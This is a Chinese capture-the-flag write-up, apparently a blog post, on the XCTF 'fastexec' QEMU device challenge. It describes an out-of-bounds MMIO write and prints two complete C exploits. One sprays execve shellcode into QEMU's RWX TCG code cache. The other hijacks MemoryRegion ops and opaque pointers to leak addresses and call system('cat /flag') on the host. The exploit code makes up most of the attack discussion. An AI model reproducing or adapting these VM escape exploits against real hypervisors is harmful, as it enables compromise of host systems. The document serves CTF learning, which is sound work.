XCTF 华为云专场 fastexec

在这里插入图片描述
绿

在这里插入图片描述
缺个库

sudo apt-get install libjpeg62

分析一下qemu文件
在这里插入图片描述
拿到id

在这里插入图片描述注册了个mmio

可以看一下结构体
在这里插入图片描述

fastexec_mmio_read
在这里插入图片描述

逻辑非常简单
就是将四个成员依次输出

fastexec_mmio_write
在这里插入图片描述有一次任意写机会。

怎么攻击呢?首先看了官方给的思路
用到了TCG模块攻击
什么是TCG模块?
我们一张图就明白了
在这里插入图片描述
图是网上找的

从QEMU-0.10.0开始,TCG成为QEMU新的翻译引擎,使QEMU不再依赖于GCC3.X版本,并且做到了“真正”的动态翻译(从某种意义上说,旧版本是从编译后的目标文件中复制二进制指令)。TCG的全称为“Tiny Code Generator”,QEMU的作者Fabrice Bellard在TCG的说明文件中写到,TCG起源于一个C编译器后端,后来被简化为QEMU的动态代码生成器(Fabrice Bellard以前还写过一个很牛的编译器TinyCC)。实际上TCG的作用也和一个真正的编译器后端一样,主要负责分析、优化Target代码以及生成Host代码。
Target指令 ----> TCG ----> Host指令

运用的基本原理呢就是
Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区,这块内存是RWX的
对于已经翻译的代码块,如果其未修改,Qemu会将其放置在该区域并缓存
所以我们可以对该区域写入shellcode,会在Qemu调用这块缓存代码时触发shellcode执行

两个id
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
拿到mmio

第一种思路
第一种思路说起来很简单,就是我们既然能越界,我们就直接越界写TCG模块,写上shellcode即可
在这里插入图片描述
在这里插入图片描述
上面这个是结构体在下面的情况,我们只需要爆破到结构体在上面就可以了

但是不推荐这样做,爆破量很大,很麻烦,我们也不能直接根据每次的情况在qemu里改代码。虽然原理很简单,但是感觉比较难实现,学学思想算了
exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}

//
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

/

void write_size(uint64_t val) {
    mmio_write(0x10, val);
}

void write_offset(uint64_t val) {
    mmio_write(8, val);
}

void write_paddr(uint64_t val) {
    mmio_write(0x16, val);
}

void only_write() {
    mmio_write(0x20, 0xF62D);
}

int main(int argc, char const *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        die("mmap userbuf failed");
    }
        
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);
    
    unsigned char * nop = malloc(0x1000);
    unsigned char *shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";

    memset(nop,'\x90',0xFEA);
    for(int i = 0; i<255*20 ; i++)
    {
        memcpy(userbuf+i*0x1000,nop,0xe30);
        memcpy(userbuf+0xFEA+i*0x1000,shellcode,22);     
    }
    getchar();
    write_offset(0x1000);
    write_size(0x100000000);
    write_paddr(phy_userbuf);
    only_write();

    return 0;
}

第二种方法是星盟大佬提出来的
首先要熟悉我们的结构体

在这里插入图片描述fastexec结构体里面有个MemoryRegion结构体

这个结构体长啥样

在这里插入图片描述
里面有一些很关键的指针
因为我们知道qemu管理内存的基本结构就是MemoryRegion
这个结构体中的opaque会记录现在结构的位置
所以我们如果上溢劫持opaque指针,就可以劫持整个结构体

所以我们的第一步就是劫持这个结构体
劫持到哪呢?
劫持到execed是0的地方
此时周围肯定有指针,就能做到既能泄露地址,又可以下次任意写
看一下结构体
在这里插入图片描述

实际发现呢我们必须让结构体往上走,因为那样会有好的指针给我们泄露
但是文艺就是我们需要爆破四个比特,因为我现在的截图地址后两个字节是2010 但是也可能是1010等等。

在这里插入图片描述
可以看到已经改了
在这里插入图片描述

下一步操作要干嘛
在这里插入图片描述
这个结构体里面的ops其实指向的是个虚表
所以如果我们把它劫持掉
虚表里面写上system
然后opaque给个paylaod地址

就可以了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t phy_userbuf;
unsigned char* userbuf;

unsigned char* mmio_mem;

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

uint64_t mmio_read(uint64_t addr)
{
    return *((uint8_t*) (mmio_mem+addr));
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *( (uint64_t *) (mmio_mem+addr) ) = value;
}

//
#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)    //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)
 
uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}
 
uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

/

uint64_t read_execed() {
    return mmio_read(0);
}

uint64_t read_offset() {
    return mmio_read(8);
}

uint64_t read_size() {
    return mmio_read(0x10);
}

uint64_t read_paddr() {
    return mmio_read(0x18);
}

void write_size(uint64_t val) {
    mmio_write(0x10, val);
}

void write_offset(uint64_t val) {
    mmio_write(8, val);
}

void write_paddr(uint64_t val) {
    mmio_write(0x18, val);
}

void only_write() {
    mmio_write(0x20, 0xF62D);
}

int main(int argc, char const *argv[])
{
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }

    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        die("mmap userbuf failed");
    }
        
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf va: 0x%llx\n", userbuf);
    printf("userbuf pa: 0x%llx\n", phy_userbuf);
    
    //0x2010 - 0xb8 = 0x1f58
    userbuf[0] = '\x58'; 
    userbuf[1] = '\x1f';
    write_offset(-0xc0);
    write_paddr(phy_userbuf);
    write_size(2);
    only_write();
    size_t elf_base = read_size() - 0xd62d20;
    size_t struct_addr = read_offset();
    size_t system_addr = elf_base + 0x2C2180;
    printf("elf_base=0x%lx\n",elf_base);
    printf("struct_addr=0x%lx\n",elf_base);
    printf("system_addr=0x%lx\n",system_addr);
    //getchar();

    (uint64_t)userbuf[0] = struct_addr + 0x948;
    (uint64_t)userbuf[1] = struct_addr + 0x950;
    (uint64_t)userbuf[2] = system_addr;
    (char *)(userbuf + 0x18) = "cat /flag\x00";

    write_offset(-0x18);
    write_paddr(phy_userbuf);
    write_size(0x22);
    only_write();

    read_execed();

    return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值